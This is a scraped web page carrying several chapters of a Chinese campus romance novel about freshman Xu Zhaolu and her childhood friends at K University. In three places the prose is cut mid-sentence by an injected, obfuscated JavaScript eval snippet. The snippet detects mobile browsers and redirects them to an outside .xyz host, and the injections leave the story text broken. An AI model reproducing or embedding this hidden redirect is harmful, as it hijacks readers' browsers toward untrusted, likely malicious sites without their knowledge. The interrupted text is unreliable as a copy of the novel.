大约是因为刚认识,放不开,她们宿舍的夜聊清汤寡水,除了学习就是新闻时事,聊着聊着就全趴下了,催眠效果超强。 直到今天晚上,聊天内容终于多了点让人兴奋的东西——帅哥。 许朝露一如既往瘫在床上,听王晓悦和张艺晴聊她俩刚才逛校园碰到的帅哥:“他也住在北园,是新生,个子估计有一八五,高高瘦瘦的,笑起来有虎牙,长得特别阳光。” “我刚查了下,住在我们后边几栋的应该是电子学院的男生。” 电子学院?185?笑起来有虎牙? 许朝露脑中依稀浮现一张脸。 王晓悦:“刚才买水果的时候我就站他旁边,看到他书包上挂了个橘猫玩偶,我也很喜欢那个牌子的……” 许朝露惊坐起来:“贺星诀?” “对对,好像就叫这个,我听见别人喊他名字了。”王晓悦说,“你认识他?” “他是我发小!”许朝露笑得捶床,“天呐。” 她真没想到会以这种方式向舍友介绍贺星诀,印象中同学对贺星诀的评价还停留在初中时期——那个很搞笑的胖子。 这小子有出息了啊。 “我和他从小玩到大,关系特好。”许朝露浅浅显摆了下,“改天我叫他来和你们一起吃饭。” “好呀好呀。”王晓悦觉得许朝露这个状元更接地气了,有帅哥朋友也会沾沾自喜,和普通女孩子一样,“那我得好好打扮一下。” 许朝露笑着躺回床上,没一会儿又坐起来:“我发小里还有个更帅的,也在K大。” 她显摆上瘾了,但舍友们反应平平,张艺晴边收拾洗澡用品边说:“我咋不信咱学校能有那么多帅哥呢。” K大虽是和尚庙,男生多如蝗虫,但颜值一定程度上和学习成绩成反比,一个男的要他长得超帅又要他稳住道心好好学习考上K大,未免太不现实。 耳听为虚眼见为实,张艺晴觉得贺星诀已经够帅了,比贺星诀更帅得长成什么样?她对许朝露所言持怀疑态度。 许朝露:“真的!改天我叫他也……” 来和你们一起吃饭。 后半句话她没说出口。 池列屿那个拽王,没人情味第一名,女生多的场合他都绕道走,许朝露觉得自己不一定请得动他,还是别在舍友面前夸下海口比较好。 就在这时,贺星诀找她聊天,约她明天晚上消防讲座结束后一起吃夜宵,还有池列屿。 因为舒夏不在K大,他们仨很多事情不好在四人群里说,再建个三人群也怪怪的,所以最近都是单线联系。 许朝露一直很好奇贺星诀的守护天使是谁,她感觉应该是舒夏,他俩相互守护,但这俩大嘴巴这次莫名嘴严,愣是没透露出关键信息,让人只能凭感觉猜测。 胖橘:【讲座结束后,我和吃草在体育馆南门等你】 胖橘:【正好聊聊乐队的事儿】 胖橘:【[小黄鸡搓手]】 喜之郎:【说到乐队,我最近在论坛看到好几个招乐手的帖子,我们要不也发一个?先招鼓手?】 胖橘:【鼓手不用了,吃草说他找到了,具体明晚说】 喜之郎:【?】 喜之郎:【他竟然会去找?】 喜之郎:【他怎么只告诉你不告诉我】 胖橘:【昨晚我俩连麦开黑的时候他说的】 喜之郎:【我和你们这些军训完还有力气打游戏的人拼了】 …… 脑袋倒回枕头上,许朝露望着一尘不染的天花板,忽然发现她已经有几天没见到池列屿了。 贺星诀和她都住在北园,时不时还能碰面,池列屿住在东园,离北园直线距离都有一公里。大学校园太大,院系不同宿舍还不在一片的话,平常真的很难遇见。 神游间,许朝露点开某人聊天框,没话找话—— 喜之郎:【我今天走在路上被乌鸦屎选中了TAT】 发出去之后她恍然回神,感觉这话太蠢,正想撤回,对面就回复了。 野玫瑰:【6】 野玫瑰:【这都能接住】 喜之郎:【谁?接?了?】 喜之郎:【是它非要拉我头上[微笑],鬼学校乌鸦也太多了吧[微笑]】 野玫瑰:【看看照片】 这人太了解她的尿性,知道她碰上这种难得的倒霉事肯定会拍照留念。 但许朝露莫名不想把头发沾鸟屎的照片给他看。 喜之郎:【你这话好油腻啊,给别的女同学发人家肯定会觉得你是变态】 野玫瑰:【?】 喜之郎:【没拍照片,被鸟屎砸了干嘛要拍】 喜之郎:【要不给你看点别的?】 喜之郎:【包刺激~】 过了几分钟。 野玫瑰:【不看裸照】 喜之郎:【!】 喜之郎:【你怎么知道我要给你发什么!】 一公里外的男生宿舍。 池列屿刚洗完澡,头发还湿漉漉的在滴水,肩上挂着毛巾没来得及擦就抓着手机回她消息,结果这聊的是什么蠢话题?还问他怎么知道她要发什么?每次发来发去都是那几张婴幼儿照片,狗都能猜到。 那年池列屿一岁出头,许朝露比他小几个月,还不满一岁。 大人在屋子里聊天,两个路都走不利索的娃娃坐在桌子旁,不知道谁掀开了桌上蜂蜜罐的盖子,等大人发现的时候,这俩已经吃的满脸满身都是,像两个黏糊糊的小糖人,立刻就被拎起来脱光衣服丢到浴缸里洗澡。 一岁上下的娃娃,家长没太计较性别,手忙脚乱地就把他俩放在一个浴缸里洗。 精彩画面在洗到一半的时候诞生——男娃娃脸上有团黄澄澄的蜂蜜没洗掉,女娃娃瞅见了,突然饿虎扑食,抱住男娃娃的脖子啃上了他的脸。 池爸爸有幸抓拍到这一瞬间——池列屿当年还是个可爱挂的大眼萌娃,被大馋丫头抱住啃脸,他一双乌溜溜的葡萄眼惊恐睁大,感觉下一秒就要哭出来。 就这张“裸照”,被许朝露视作她幼年期力压池列屿的证据,不知道p出多少套表情包。 池列屿用脚趾头想都知道她今天要在他头上p一坨屎。 手机扔桌上,池列屿捞起毛巾随便搓几下头发,过了会儿,听见消息震动声,他毛巾就这么盖在头上,又伸手把手机拿起来。 喜之郎:【不看就不看吧,你小子没这个福分】 池列屿唇角抽动了下,脑子里蓦地冒出一句话: 有种你发18岁以上的给我看,成天整那些幼儿照片有劲儿吗。 他不耐地扯下毛巾,擦了擦淌到脖颈的水,T恤领子都被洇湿,紧贴着筋骨匀长的身体,手机抓左手上,眼睛盯着屏幕看了会儿。 最后只给她回了个句号。 懒得等头发全干,池列屿直接爬上床,睡觉。 - 翌日晚间,K大中央体育馆。 全校新生密密麻麻集 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947518|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中在一起听消防讲座,主讲人是云城消防总队的领导,前半场讲消防案例的时候大家还有兴趣听,后半场长篇累牍的理论指导就很没劲了,放眼望去,手机屏幕的光芒连成片,没发光的不出意外都睡着了。 许朝露和王晓悦抱着手机一起看微积分课件,最开始只有许朝露一个人看,王晓悦被她搞得有点焦虑,于是加入,结果加入之后更焦虑了。 许朝露看得很快,快到王晓悦感觉她只是读了一遍没理解就翻下一页了。 几页之后,许朝露的速度渐渐变慢,王晓悦刚放松一点,就发现许朝露不是理解得慢了,而是察觉到旁边的她没跟上,在等她。 许朝露思考和放空时是两种眼神,前者敏锐,后者呆萌,区别非常大。 王晓悦高考算是超常发挥,今年这么难的卷子她考了697,全市第五,成绩出来的时候她以为市状元顶多七百出头,结果新闻告诉她,市状元刷新了云城有史以来高考最高分记录——727分,比她高了整整30分,比第二名都高18分。 此刻,王晓悦真真切切地感受到了这30分差距的存在。 她要收回前几天觉得许朝露接地气的话,这家伙本质上还是神啊! 讲座在九点整准时结束。 许朝露和舍友告别,独自汇入体育馆南门方向的人潮。 学校男生还是多,高高大大挤挤挨挨,许朝露168的身高也看不太清前面的路,被人流裹挟着缓慢移动。 走到半路,忽然有男生拦住她,问联系方式。 许朝露喜欢交朋友,但也看眼缘,不是什么人都加。男生结结巴巴自我介绍了一通,挺真诚,还是她同专业的同学,许朝露觉得可以认识一下,手伸进口袋摸手机。 顷刻后,她脸上笑意凝固:“不好意思啊,今天不太方便。” 说完转头就走,纤瘦身影扎进人潮,慌慌张张的样子让搭讪的男生心碎一地—— 我长得有那么吓人吗?出口在那边呢姐,你跑反了。 许朝露手机不见了。 开学前她还下定决心要改掉丢三落四的毛病。大学不比高中,高中她运气好和池列屿舒夏分在一个班,随时随地都有人捞她一把,大学哪来那么高的容错率,得自己靠谱起来才行。 事实证明,她这人离靠谱还隔着十万八千里。 手机应该掉在刚才座位上,许朝露原路折返,大部队都撤出去了,空荡荡的观众席上只剩稀稀拉拉几个人。 这一片座椅都长一样,许朝露记不清之前具体坐哪,只能弯着腰一排排地毯式搜寻,效率非常低。 散场二十分钟后,体育馆灯灭了一半,偌大的空间昏暗又冷清。 许朝露还没找到手机在哪。 好烦。 我真的好蠢。 刚才应该先去找池列屿他们,喊他们一起来找的。 都过了这么久,他们是不是该打电话找我了?如果打电话的话…… “有一只小猫张开嘴巴喵喵喵喵喵,你不接电话,就喵喵喵喵喵……” 斜前方响起熟悉的手机铃声,许朝露猛地打直腰。 心有灵犀了这不是。 “麻烦你快点接小猫咪的电话,喵喵喵喵喵……” 铃声从座椅缝隙中传出,许朝露费劲地把手机扒拉出来。 瞥见来电显示,她有点没脸接。 酝酿片刻,她若无其事地接起,企图把蠢事掩盖过去:“喂?我在洗手间呢,你们等很久了吧?” “是吗。”电话那头,池列屿似乎笑了声,冰凉又短促,“哪儿的洗手间,自己能爬出来吗,要不要过去捞你?” “谁掉坑里了!”许朝露咬牙,“人太多了,要排队,所以才浪费了点时间。我现在已经出来了,马上就到。” “这样啊。”池列屿又笑,语气倒是温和了些,“刚看到有个傻子在我跟前撅着腚走来走去,还以为是你。” “……” 许朝露心脏突突跳,抓着手机转过身,不出意料,正对上一双漆黑散漫的眼睛。 她有时候真觉得。 这人是不是在她身上安了定位。 无论何时何地,都能轻而易举找到她。 10. 天使 体育馆又熄了几盏灯,疏疏落落的光线和阴影交织,显得格外空寂。 池列屿站在几米外的过道上,几天不见头发长了些,直刺刺的,衬得眉眼更加锋利。 他皮肤几乎没晒黑,依旧白得生冷,迷彩外套脱了挂肩上,灰绿色T恤松松扎进裤腰,直刷刷的两条腿,长度很逆天。 通话直到这时才挂断。 手机顺进口袋,池列屿冲许朝露挑了挑眉。 半明半暗的光像水墨画填充整个空间,许朝露觉得他那儿莫名更亮些,光线好像都对他情有独钟。 她慢吞吞朝他走过去:“池列屿,你有没有觉得我最近脾气变得特别好,很久没有揍你了?” “恩将仇报?没有我你能找到手机?” “两码事。要不我先谢谢你,再揍你一顿?” 池列屿漫不经心抬起手,按在她头顶上:“就你,打得过谁?” “我以前打得过你。” 说着就抬手捶他,池列屿后退避开,手掌仍搁在她脑袋上,施了点力把人牢牢摁住,不紧不慢说:“难为你一岁以前的事儿记那么清……” “假设你活一百岁。”他扯着唇角,一字一顿,“往后的九十九年,你都会被我压着打。” “……” 许朝露体能是真废,白天走队列要了她半条命,这会儿拳头挥两下就没劲了,仰着眼睛觑着池列屿,凶巴巴又可怜。 不知想到什么,她忽然笑起来:“想和我当九十九年朋友就直说,绕什么圈子?把我哄高兴了,不是没有这个机会。” 池列屿松开手,音色突然变冷,嗤了声:“白送都不要。” 拽什么。 真那么嫌弃的话,干嘛眼巴巴跑过来找她? 许朝露抓了抓被他弄乱的头发,抬脚往前走,经过池列屿时,故意用肩膀撞了他一下。 …… 结果没把他撞动一丝一毫,她自己却歪向一边,差点滚到旁边座椅上。 耳畔飘来声轻笑,秋风似的凉。 许朝露当没听见,镇定地走下台阶。 池列屿跟在她身后,脚步散漫,盯着她毛茸茸的发顶,忽然没头没尾地问:“最近身体怎么样?” K大军训强度不低,很多男生都被折磨得够呛,这家伙没去病号连,不知道这几天是怎么熬过来的。 许朝露挺佩服他,能在一条欠揍的狗和她的守护天使之间无缝切换。 “我好着呢。”许朝露摸了摸左胸,“军训前去做了检查,医生说生孩子都没问题。” 池列屿:? “咳咳,因为生孩子最考验心脏的负担能力。”许朝露解释,“所以医生拿这个举例,能生孩子,别的活动肯定都没问题。” 池列屿:“那也别生。” 冷不丁的一句话,语调很淡,听不出情绪. 许朝露怔住,奇怪地瞟他一眼。 他是太平洋警察吗,管天管地还管别人生孩子? 她才几岁,自己都没考虑过这个问题,他就替她决定上了? 池列屿才察觉这话说得有点突兀,撇过头,轻咳了声,漫不经心说:“小学生生什么孩子。” 许朝露刚要回嘴:“你才……” “你们在聊什么?”贺星诀从旁边窜出来,勾住池列屿肩膀,“什么生孩子?你俩要生孩子?” “……”池列屿差点呛到,耳根子僵了下,杀气腾腾地把人踹开,“你个傻狗说话能不能过过脑子?” 贺星诀被踹得差点扑街,还在那儿乐:“草,你今天改吃炸药了?” 他跑到许朝露身边,问她要餐巾纸擦汗:“热死我了……话说回来,我和吃草分头进来找你,怎么又是吃草先找到?每次都是这样。你记不记得小时候有次玩捉迷藏,在居民活动中心那儿,我们七八个人死活找不到你,天都快黑了,我们都以为你已经回家了,只有吃草还在找……” “当然记得。”许朝露说。 想到那件事,许朝露刚被池列屿欠出来的郁气,忽然一扫而空。 那是小学低年级时候,他们一群住得近的小孩放学后玩捉迷藏,在社区居民活动中心里头。 居民活动中心是个几百平的院子,北面有幢破旧小楼,楼底的半地下室常年锁着门,有天门意外地开了,许朝露跑进去,藏在一个脏兮兮的柜子里。 她玩捉迷藏总是很快被找到,那天抱着一雪前耻的决心,愣是在柜子里藏了半个多小时,才发现不对劲。 半地下室的门不知何时被人关上了。 难怪一直没有人进来找她。 门后的锁爬满锈迹,许朝露四肢纤弱,用尽全力也打不开。 眼看窗外天色一寸寸变暗,许朝露独自待在幽黑脏乱的封闭空间里,恐惧如潮水一般淹没了她。 她拼命哭喊、拍门,门外却静悄悄的,没有一点回应。 不知过了多久,头顶上的窗户忽然传来窸窸窣窣的响动。 许朝露抬眸,又听“哗”的一声,窗户从外面打开。 这里是半地下室,窗户开得比较高,从外面看则很低。 池列屿屈膝半蹲在窗外,还喘着气,头发有点乱,眉头像大人那样皱着,表情冷冽又紧绷,看到许朝露的一瞬间,终于松弛了些。 许朝露抱着膝盖蹲在门边,仰头望见窗外暮色沉沉,一弯黄澄澄的月亮依偎在池列屿凌乱的头发旁边,他的瞳仁漆黑,看着却比月亮更耀眼,让人想要靠近依赖。 许朝露呆呆望着他,止住泪,惨兮兮地冲他笑:“你找到我了。” 下一瞬,男孩单手撑着窗框,忽然从窗外一跃而下。 像颗沾染了月光的流星,从天而降。 窗户比他们人还高,池列屿落地站稳,不费吹灰之力。 接着,他一言不发走到门后,“砰”的一声重响,生锈的门锁硬生生被他打开。 许朝露震惊地看着这一幕。 人生中第一次深刻认识到,她和池列屿的力气差距有多大。 …… “听见你在地下室拍门,吃草让我去找大人过来,结果他自己从窗户跳进去,把门给开了,搞得我贼尴尬。”贺星诀回忆得津津有味,接着调侃他们,“你俩真的,一个成天走丢,一个准能找到,心有灵犀到这种程度,简直是亲兄妹啊。” “我俩是亲兄妹你是什么?”许朝露说,“垃圾桶里捡来的弟弟?” “呵,我是把你俩从垃圾桶里捡出来的爸爸。” “你捡我经过我同意了吗?V我五千看看实力。”许朝露说,“还有我哥哥吃草……” “别带我。”池列屿一脸薄情寡义,眼神挺冷,似乎对这个“其乐融融”的家庭话题很不耐烦。 三人已经走出体育馆,一弯上弦月安静地挂在天穹,照着地上青涩的少年,和少年那些不为人知的心底事。 许朝露掏出校园卡,在月光底下晃啊晃:“都别和我抢,今晚我请客。” 她刻意碰了碰池列屿的胳膊,后者偏头看过来,下颌角清晰,拉出流畅的线条,后颈和鬓角头发剃得很短,薄薄一层青茬,许朝露觑着那里,莫名觉得刺刺的,摸上去应该会扎手。 “干什么?” “啊?”许朝露回过神,“噢,就是提醒你一下,我要开始还债了。” 高中蹭了他几百顿饭,又花光了他校园卡里三千多块钱,虽然池列屿是个款爷,不缺钱,但许朝露和他约好考上同一所大学就要还债,她说到做到。 池列屿散漫道:“行啊。” 许朝露:“总共欠了多少顿饭来着?” 池列屿根本没记,随口诌了个数字:“213顿。” “我怀疑你在骂我。”许朝露说,“那我再送你一顿,凑个吉利点的数字。” 214。 好像是个什么节来着? 池列屿扬了扬眉:“那我该谢谢你?” “不客气。”许朝露笑了下,“至于高考前你甩我的那张卡,余额我还记得,要不直接转……” “不用。”池列屿打断,并不想和她分斤掰两算得那么清,“那张卡里的钱,就当我对你的投资。” “投资我什么?” “投资你考状元。”池列屿仰头望了眼孤高灿烂的月亮,意兴阑珊说,“然后老老实实的,跟着我来K大。” 这似乎是池列屿第一次明确表达出,希望许朝露和他考同一所大学。 语气过于嚣张,贺星诀听不下去,捅了捅许朝露:“你不怼他啊?他以前哪有目标,还不是因为你想考K大他才保送K大。” 许朝露觉得这话对也不对。 K大是顶级学府,是个人都想上,她的存在只是让池列屿在几所顶级院校中更偏向K大一点。 贺星诀不知道许朝露高三更改过目标院校。现在他们都考上了K大,许朝露便把高三发生的那些事,简单和他提了嘴。 “你真想过考S大啊?那吃草不得气炸了?”贺星诀傻眼了,“难怪高三一整年你俩都怪怪的。” 许朝露唯唯诺诺:“也有家里的原因啦。” 贺星诀想起什么,又问:“你高二喜欢的那个文科生,他考去哪儿了?” “S大。”许朝露说,“我早就不喜欢他了。” “还好你选了K大,没有彻底被男人迷惑。”贺星诀勾着池列屿肩膀,笑,“还是我和吃草在你心里更重要吧。” “你俩不是男人吗?” 这话似乎有点不对劲,许朝露又改口,“我选K大只是因为K大专业好。” 贺星诀:“我怎么记得,K大经管排全国第二,S大才是第一?” 许朝露舌挢了下:“那、那差距也很小啊。” 她在和贺星诀说话,不知为何,下意识瞥了眼池列屿。 后者正不耐烦地把贺星诀架在他肩上的胳膊拿掉,没想到动作太大,肩上的迷彩外套也滑脱,他眼疾手快弯腰一捞,顺手用外套狠抽了贺星诀一下,无端撒着邪火。 接着一甩外套,挂到肩上,偏头躲过贺星诀的回击,不冷不热笑着,那双漆黑眼睛,十年如一日的透亮,又自然。 好像……也不是完全没被男人迷惑。 许朝露心想。 但她是出于纯洁的友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14947519|160848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谊,从幼儿园开始就和池列屿同校,十几年从未分开,如果可以的话,当然还想和他待在同一个校园里。 …… 来到夜宵餐厅,都懒得吃麻烦的菜,就点了几十串烧烤。 菜上得挺快,一把把肉串躺在托盘上,滋滋冒着油星,看得人食欲大振。 “所以,你找到的鼓手是谁?”许朝露啃着羊肉串,直入主题,“哪个系的?技术怎样?人靠谱吗?” 池列屿喝了口水,懒懒向后靠,看着许朝露:“你也认识。” “我认识?”许朝露狐疑,“我在K大才认识几个人……” “陈以铄。” 许朝露脑海中浮现陈以铄那张安静腼腆的脸:“他?会打架子鼓?” 池列屿挑眉。 事情要从入学那天说起。 计科系学生被分在条件最好的东园宿舍,四人间,按照身份证号排序。池列屿是人工智能班第一位,舍友中只有一个同班同学,剩下两个是计科班的最后两位。 他到得晚,宿舍已经收拾得很干净,有个舍友的家长还没走,正叉着腰用外语似的方言和儿子说话,语气像领导指责下属。 男生低眉顺目,什么都应好。 看清他的脸,池列屿愣了一秒。 陈以铄。 就前阵子在ktv和许朝露聊得停不下来的那个。 他妈妈看起来很强势,有点像温嘉钰,但温嘉钰从不会在外人面前教训池列屿,让池列屿当众难堪。 好在宿舍里其他人并不能听懂他们在说什么。 几日后,军训拉歌会上。 学生们在操场席地而坐,拉歌比赛开始之前,先欣赏军歌表演节目。 歌声激昂,回荡在操场上空,强有力的节奏抨击着少年人的心脏,正是最容易热血沸腾的年纪,好几个方阵都跟着骚动起来。 陈以铄和池列屿的班级方阵紧挨着,前者就坐在后者旁边。 两人一个拘谨,一个冷漠,成为舍友这几天,若非必要,几乎没有说过话。 直到今晚,池列屿注意到陈以铄一边听歌一边在打节拍,普通人打节拍也就拍拍膝盖,他不一样,他手里像握着什么东西,隔空敲打着许多物件,一只脚也跟着垫踩,节奏不完全按照军歌来,有他自己的创意在里面,像当场为这首歌编了一条更复杂的律动。 在ktv那天池列屿就发现了,这人听歌贼认真,乐感也强。 没学过乐器的可能无法理解,但池列屿能懂,他听歌上头的时候,偶尔也会在脑内现编Guitar Line,甚至产生弹空气吉他的冲动。 肩膀被人碰了下,陈以铄以为自己打扰到人家,讪讪地问:“怎么了吗?” 池列屿:“你会架子鼓?” 陈以铄怔住:“你怎么知道?” 池列屿慢条斯理地卷了卷军训服袖子,有点好笑:“不然你刚在干嘛? 他顿了顿,神情算得上温和:“炒菜?” 陈以铄:“……” 后来就开始拉歌,没再聊下去。 陈以铄以为话题到此为止,没想到晚上回到宿舍,池列屿竟然主动找他,问他以前玩架子鼓有没有录音频或者视频,他想看看。 开学这些天,陈以铄还没有交到朋友。三个舍友中,两个人工智能班的自发走得近,而他唯一的同班同学总往隔壁宿舍跑,不太搭理他,陈以铄渐渐习惯了独来独往,好在这本来就是他最擅长的事。 今天陈以铄似乎有点懂了,为什么池列屿看起来冷淡又有距离感,人缘却非常好。 他是个特别自然的人。 即使之前和陈以铄压根不熟,这会儿搭起话来的从容劲儿,也让陈以铄不自觉放下拘束,仿佛他们一直是朋友。 “有的有的。”陈以铄莫名有些激动,拿起手机,转念又觉得屏幕太小,换成了笔电,“高中参加过文艺汇演,拍了视频,我找来给你看看。” 视频里,陈以铄为一首流行歌伴奏,结尾部分有二十几秒的架子鼓solo。 池列屿看完,沉默了几秒。 陈以铄心说我果然还是太菜了,悻悻地关掉电脑。 结果下一秒,就听见池列屿说:“我和两个朋友打算组乐队,还缺鼓手和键盘手,你感兴趣吗?” …… 池列屿很清晰地看到陈以铄眼镜片后边的瞳仁闪烁了下。 他的脸涨红,幅度很小但快速地点头,嘴上却生怯:“我可以吗?” 池列屿人靠着床梯,屈起一条腿踩着横杆,混不吝地说:“你自己什么水平自己不清楚?” 这话听起来像在骂他菜,但陈以铄联系了下前后语境,感觉可能是在夸他。 “那我就……试试?”陈以铄忽然想到什么,整个语气都变开朗了,“许朝露同学也在乐队里吧?” 话落,空气骤然安静。 池列屿收起了那股懒散劲儿,眼神冷下来,修长手臂上青筋明显,手机在手里一抛一接,不知为何,让人联想到凶器。 几秒后。 他将手机顺进口袋,面无表情说:“她不在。” 11. 天使 池列屿三言两语交代了来龙去脉。 招鼓手不是他一个人说了算,正好陈以铄打算军训结束之后找个乐器房练架子鼓,三人便约好到时一起去围观。 离开夜宵餐厅,徐徐晚风撩拨树叶,发出低柔絮语,露天篮球场上传来篮球撞地声,砰砰砰,灯光晕染着一道道蓬勃鲜活的身影。 “你俩篮球打得不错,应该都会进院系球队吧?”许朝露忽然问。 “前两天就进了,军训一结束就要打新生赛。”贺星诀说,“到时候记得来给我加油啊,我现在老强了,瘦下来之后简直身轻如燕,随便虐爆对面。” 许朝露眼睫一抬打量他,笑得促狭:“比赛分组出来了吗,能不能看到你虐爆计科系?” “……”贺星诀差点呛到,“呸,别乌鸦嘴,我不要碰到计科系!” 贺星诀小时候因为长得太胖,没什么人愿意和他玩,也就池列屿会带着他打篮球,一来二去,让他从一个笨拙的胖子变成灵活的胖子,那点手法也全是跟着池列屿练出来的,这家伙有多强贺星诀再清楚不过,个子高手长腿长不用说,速度还快得惊人,要不是天天被嘉钰阿姨按着学习,去打职业都绰绰有余。 所以,贺星诀愿意在一切场合碰到好兄弟池列屿,除了篮球赛的对面。 一路闲聊,没一会儿就走到东园宿舍门口。 两个住北园的,整齐划一地抬头仰望崭新的东园宿舍楼。 据说东园每栋都配备自习室、乐器房和小型健身房,洗澡间还带干湿分离,贺星诀羡慕疯了,心狠手辣地勾住池列屿脖子往下按:“凭什么啊,老子也要住东园!” 池列屿:“你没那命。” “滚啊你。”贺星诀把池列屿往宿舍门那儿一推,“幸好我还有露露王陪。走吧露露王,我送你回宿舍。” 许朝露:“谁要你送,回宿舍我还能走丢不成?” “那我不送你了。”贺星诀说,“你送我好吧。” “这还差不多。” 两人吵吵闹闹着走了,北园宿舍最偏,从这儿过去还要走一公里。 路灯昏黄的灯芒和树影交织,碎了一地光斑,北园路悠长得仿佛望不见尽头,来往学生中有不少情侣,浓情蜜意依偎在一起,那步速慢的,恨不得从天黑踱到天亮。 池列屿收回目光,沉默地走进宿舍大门。 回北园的路上,许朝露碰到舍友王晓悦和张艺晴,自然就把贺星诀介绍给她们,四个人又吃了点关东煮才回去。 这会儿洗澡的人多,她们留个桶在澡堂排队,人回寝室坐着等。 伊玥不知道在看什么书,她们仨回来她头都没抬一下,厚重的披肩长发像黑色帷幕,挡住半张脸,沉浸在自己世界里。 许朝露三人已经习惯,没事不太去招惹她,就聊自己的,所幸伊玥也不嫌她们吵,寝室关系还算和谐。 过不久,三人陆续去洗澡,许朝露排在最后,一进去就听她俩和隔壁寝室的在聊贺星诀:“对呀,就电子系那个,性格特随和,说话也很好玩。” “你俩都加了他微信啊?我也想加。” “我不好直接分享给你,回头让朝露帮你介绍一下。” “我也要!K大简直帅哥荒漠,开学这么久我就见过这一个帅的。” “你别说,我昨天在东园食堂碰到一个巨帅的,还是新生。慧慧看到脸了,说帅得她腿软,我没看到,只瞅见个背影,两个字,绝了。” “真的假的?这种级别的帅哥应该都不单身吧?” “贺星诀好像是单身。等会儿问问朝露,他俩可熟了呢。” …… 许朝露藏在旁边隔间,没有吭声。 帮忙搭线这事儿说起来容易做起来难,夹在两个人中间要两头考虑,一不小心就会得罪人,吃力不讨好。 许朝露又是个特别重视朋友情谊的人,经过宁思彤那件事,她都有点心理阴影了,用真心交的朋友,结果只是想利用她追池列屿。 许朝露有预感,她们聊的那个巨帅的新生,应该就是池列屿。 所幸池列屿也是她发小这事儿在K大还没几个人知道。 从小学到高中,许朝露帮池列屿收的情书简直能铺满整个操场,这还是在严禁早恋的环境下,现在上了大学,池列屿那张脸,说实话,她看了这么多年时不时也会惊艳到,那大学里其他女生得疯成什么样?简直不敢想。 唉。 她总感觉躲不过,又不能不和池列屿一起玩。 许朝露打开水龙头,水花噗嗞冲出,砸得她一激灵,忽然想起前阵子舒夏提过一个一劳永逸的办法—— “你就说你也想泡他,别人自然就走开了。” …… 不行。 这话她实在说不出来。 - 长达三周的军训,终于在秋色初露时画上句号。 新生刚从军训场上解放,就马不停蹄扎进百团大战,K大的社团和文体资源非常丰富,大有乱花渐欲迷人眼的架势。 许朝露报名了学生会,昨天通过一面,今天中午要进行二面。 到达面试地点的时候,前面还有好几个人,估计要等挺久。 许朝露正好还有别的事儿,坐在走廊上聚精会神抱着手机狂点屏幕,旁边的女生被她搞得很紧张:“今天中午要选课吗?我怎么不知道?” “选课在下周。”许朝露说,“我在抢票,有个电影的主创团队要来K大路演,听说门票很难抢。” “是那个很有名的动画片的续作吧?”女生说,“地址能发我吗,我也想抢……” “来不及了。”许朝露吐了口气,一脸沧桑地往后靠,“就在刚刚,没票了。” “啊……那你抢到了吗?” “抢到了吧。” 女生有点纳闷,抢到了就是抢到了,加个吧字什么意思? 许朝露想抢三张票来着,结果只抢到两张,还在最后一排。 这就意味着,她只能带一个发小一起看。 许朝露没怎么迟疑,当即给某人发消息: 【后天一起去看路演啊,我抢到票了】 对面回挺快。 野玫瑰:【行】 真冷淡啊。 要是发给贺星诀,起码能收到一串彩虹屁表情包。 不过话说回来,她就是因为池列屿喜欢这个电影才想要抢票。 上个月玩的守护天使,大家都悄无声息,也没规定守护到什么时候,许朝露就在心里决定最后认真守护池列屿一周。 如果她只抢到一张票,也会送给池列屿。 手机又震动。 野玫瑰:【几个人?】 喜之郎:【就我和你】 许久没动静,许朝露有点拿不准这人在想什么。 转念一想,以他的脾气,估计什么都没想,单纯懒得回。 喜之郎:【虽然这两张票是我费劲千辛万苦手都点麻了才抢到的,但我不需要我的好朋友感激我,因为他是个哑巴,不会说人话,愿上帝保佑他】 这次池列屿回得挺快,还是语音。 走廊上有点吵,许朝露把手机贴到耳边。他声音清冷又懒散,像刚睡醒,很有磁性,钻进耳朵自带降温效果,让人身上冷不丁起了层细细的鸡皮疙瘩。 “和人在一起才说人话。和你不用。” “……” 许朝露想顺着网线爬过去打他。 没一会儿,这人又发来新语音。 “路演那天你从哪儿出发?” “勉为其难去接你。” 总算说了句人话,虽然语气还是欠的不行。 喜之郎:【我下课直接过去,在报告厅门口见就行~】 野玫瑰:【ok】 野玫瑰:【今晚的事儿别忘了,知道在哪吧?】 许朝露感觉池列屿现在心情很不错,似乎还想继续和她聊天。 就在这时,学生会办公室门打开,学姐探出头来说:“杜良,苏诗怡,许朝露……这些同学在吗?都进来吧。” 轮到她面试了。 走廊没有空调,人多又闷热,许朝露穿了件防晒外套,刚才脱掉挂在手臂上,这会儿她一边站起来一边将外套放到椅子上,身旁忽然响起一道温和声音,清润如泉韵: “办公室空调挺猛的,把外套穿上吧。” “好的,谢谢……”许朝露说着,抬头看了眼好心提醒她的男生,蓦地怔住,“时越学长?” 男生个子高瘦,五官比她在照片里见过的更精致,双眼皮像混血儿那样深,白衬衫折到肘弯,露出白净胳膊和一块银色机械表,通身文雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 